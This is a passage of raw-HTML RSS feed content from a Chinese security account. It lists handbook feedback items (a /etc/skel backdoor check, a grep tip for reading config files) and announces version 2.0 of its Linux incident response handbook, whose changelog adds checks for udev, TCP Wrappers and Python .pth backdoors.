10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0034</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-17 13:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 lslogins</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 22:50:35</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">35. 用户家目录模板检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0035</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-24 21:26</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">/etc/skel/ 是新建用户的家目录的模板，如果攻击者对其进行修改可能导致新创建的目录自带后门</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:20:27</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">36. 添加查看配置文件的小技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0036</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-26 21:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 </span><code><span leaf="">grep -E -v &#39;^\s*($|#)&#39; config_file</span></code><span leaf=""> ，排除井号开头的行以及空行，最好也包含其他注释</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 23:08:34</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">下载地址</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://pan.baidu.com/s/1H-Gda6G4Qtv2gOHNrT0-SA?pwd=ww9a" target="_blank">https://pan.baidu.com/s/1H-Gda6G4Qtv2gOHNrT0-SA?pwd=ww9a</a> 提取码: ww9a</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK" target="_blank">https://github.com/Just-Hack-For-Fun/Linux-INCIDENT-RESPONSE-COOKBOOK</a></span></p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgReJdLuuttiazompT7xvnrNkZVZ4b5hO7grIA9vlor5AS6J8kYpopRofGdSEp5g5IsnfjGFalZSptJQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #98c379;line-height: 26px;"><span leaf="">Hash</span></span><span leaf=""> </span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">md5:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">04ec7501597eb22c11924016b2e89c25</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sha-256:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b7b5fae2f6a51e5222e1d5e09e37945037f7d2c7df45fb290ef54659ceb6c741</span></span><span leaf=""><br/></span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502763&amp;idx=1&amp;sn=462073b572acc76429ad70384bb713fe&amp;scene=21#wechat_redirect" textvalue="Linux 应急响应手册 2.0 发布！" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">Linux 应急响应手册 2.0 发布！</a></span></p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502032&amp;idx=1&amp;sn=e5e04054bdafadaf34e82f643294f80f&amp;scene=21#wechat_redirect" textvalue="Windows 应急响应手册v1.2 【重要更新】" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">Windows 应急响应手册v1.2 【重要更新】</a></span></p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502756&amp;idx=1&amp;sn=8bd6aa63492e4d8630a63494a17a60ac&amp;scene=21#wechat_redirect" textvalue="udev 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">udev 后门 | Linux 后门系列</a></span></p></li><li><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 1em;color: black;"><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502489&amp;idx=1&amp;sn=42e7e1df16c328cbe182bf9befcbc9f4&amp;scene=21#wechat_redirect" textvalue="Trap 后门 | Linux 后门系列" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">Trap 后门 | Linux 后门系列</a></span></p></li></ul></section><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); letter-spacing: 0.544px; text-wrap: wrap; font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif; font-size: 16px; text-align: center; visibility: visible; color: rgb(163, 163, 163) !important;" class="js_darkmode__24" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;visibility: visible;color: rgb(163, 163, 163) !important;" nodeleaf=""><img data-imgfileid="100018915" alt="图片" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="430" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;display: initial;visibility: visible !important;width: 430px !important;" width="430px" src="https://wechat2rss.xlab.app/img-proxy/?k=37ca7275&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfZT30hrVgRePhExdNHBxNXo5ykEQRnV6h5D294E334CzZaiaFRfibvESn4icHoenCrJf06jfJNVBZwpaAmCZbM6Gw%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></section><section data-style="-webkit-tap-highlight-color: transparent; margin-bottom: 0em; outline: 0px; background-color: rgb(255, 255, 255); text-wrap: wrap; font-family: 微软雅黑; text-align: center; letter-spacing: 2px; font-size: 18px; color: rgb(163, 163, 163) !important;" class="js_darkmode__25" style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: 微软雅黑;text-align: center;letter-spacing: 2px;font-size: 18px;color: rgb(163, 163, 163) !important;"><span leaf="">有态度，不苟同</span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502770">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=faa426f0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502770%26idx%3D1%26sn%3D85b3f9c13c78ee814042b282f6fe6e87%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Feb 2025 16:17:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux 应急响应手册 2.0 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502763&amp;idx=1&amp;sn=462073b572acc76429ad70384bb713fe</link>
      <description>在最坚硬的石头上刻朵小花！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-02-27 16:58</span> <span style="display: inline-block;">北京</span>
</p>

<p>在最坚硬的石头上刻朵小花！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=bc6af505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRdeicyKT82abFZrZXMKIgNNcria2D8ph5Qf4Esd6mCsuhHettmiciclONUUJ8HRhhkgtULPLKibPGDYVibA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="失语者" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M0000034B8NY4LoJ7G_1.jpg" singer="蔡健雅" count="0" is_vip="1" duration="221000" music_source="1" listenid="78238778747400513"></mp-common-clmusic></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">简介</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">大家好，《Linux 应急响应手册 v2.0》 发布啦！</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本次更新主要是为各个应急响应场景添加了应急响应流程图，完善了各个场景的处置流程，新增了 TCP Wrappers 后门排查、udev 后门排查、Python .pth 后门排查等，完善了已有的部分排查项，删除了已经过时的信息。具体内容请</span><strong style="font-weight: bold;color: black;"><span leaf="">前往文末</span></strong><span leaf="">下载最新版本的手册！</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">更新日记</span></span></h2><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v2.0</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2025.2.27</span></span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">各应急场景增加了流程图</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">完善了应急场景的处置流程，添加了确认攻击信息准确性</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">完善了应急场景的处置流程，添加了询问历史被攻击情况以及历史通报情况</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节添加了 TCP Wrappers 后门排查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节添加了敏感目录排查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节添加了 udev 后门排查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节添加了 Python .pth 文件后门排查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节完善了 profile 配置检查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">常规安全检查章节完善了计划任务排查中 at 和 batch 的排查</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">小技巧 -&gt; 查找特定时间段内的文件章节添加查找某段时间内创建的文件</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">完善处置前准备章节，增加了国产操作系统和《Windows 应急响应手册》的准备</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">完善了 pstree 命令查看指定 pid 的进程的线程信息</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了小技巧章节 find 命令错误</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了挖矿病毒章节 ps 命令错误</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了由 sudo 本身引起的杀死进程组命令在 sudo 下失效的问题</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了暴力破解 -&gt; SSH 暴力破解章节文字错误</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了数据恢复部分文字错误</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">修复了勒索病毒 -&gt; 根据勒索病毒类型寻找解决方法中的文字错误</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">删除了安芯网盾沙箱</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">删除了绿盟威胁分析中心网址</span></span></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">删除了 WEBDIR+ 、Webshellkiller 工具的失效链接</span></span></section></li></ul><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.9</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2024.8.1</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.8</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2023.8.11</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.7</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2023.4.27</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.6</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2023.1.6</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.5</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2022.9.29</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.4</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2022.4.29</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.3</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 2021.11.24</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);">v1.2</span></span></strong><span leaf=""><span textstyle="" style="background-color: rgb(255, 251, 0);"> - 